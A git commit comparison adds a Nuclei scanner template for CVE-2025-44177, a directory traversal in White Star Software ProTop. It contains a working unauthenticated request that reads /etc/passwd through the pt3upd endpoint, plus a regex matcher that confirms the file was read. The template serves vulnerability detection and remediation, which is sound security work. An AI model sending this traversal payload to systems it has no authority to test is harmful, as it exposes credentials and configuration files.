Compare commits

...
Author SHA1 Message Date
Prince Chaddha fecd046407 Fix CVE-2025-44177 template structure
- Fix template ID to match CVE format (protop-dir-traversal -> CVE-2025-44177)
- Add impact section describing potential consequences
- Fix tag formatting and remove spaces
- Fix vendor/product metadata to use lowercase format
- Add cve2025 tag for proper categorization
2025-07-29 15:37:50 -05:00
s-cu-bot f9a18da686 Add CVE-2025-44177 template 2025-07-30 00:11:52 +09:00
+41
View File
@@ -0,0 +1,41 @@
id: CVE-2025-44177
info:
name: White Star Software ProTop - Directory Traversal
author: s-cu-bot
severity: high
description: |
This vulnerability allows unauthenticated directory traversal via the pt3upd endpoint.
impact: |
An attacker can exploit this vulnerability to read sensitive files from the server file system, potentially exposing configuration files, credentials, and other sensitive information.
remediation: |
Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-44177
- https://client.protop.co.za/
- https://wss.com/
- https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
cvss-score: 8.2
cve-id: CVE-2025-44177
cwe-id: CWE-22
cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wss
product: protop
tags: cve,cve2025,lfi,traversal,protop
http:
- raw:
- |
GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
name: LFI
regex:
- "root:.*:0:0:"